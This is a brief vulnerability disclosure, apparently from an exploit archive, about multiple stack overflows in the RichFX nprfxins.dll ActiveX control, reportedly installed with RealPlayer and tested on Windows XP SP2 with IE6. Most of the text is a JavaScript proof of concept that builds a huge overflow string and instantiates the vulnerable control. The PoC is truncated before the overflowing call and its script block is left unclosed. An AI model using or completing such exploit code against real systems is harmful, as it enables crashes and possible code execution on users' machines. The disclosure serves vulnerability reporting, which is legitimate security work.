RichFX nprfxins.dll ActiveX Control Multiple Stack Overflows

There are multiple stack overflows in the RichFX nprfxins.dll ActiveX Control. I almost positive that this control was 
installed with RealNetworks RealPlayer. This was tested on Windows XP SP2 fully patched and IE6. This control is marked 
safe for scripting. I have not tested code execution. PoC as follows:

written by e.b.
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("RFXInstMgr.RFXInstMgr"); //{47F59200-8783-11D2-8343-00A0C945A819}



 <body onload="JavaScript: return Check();">
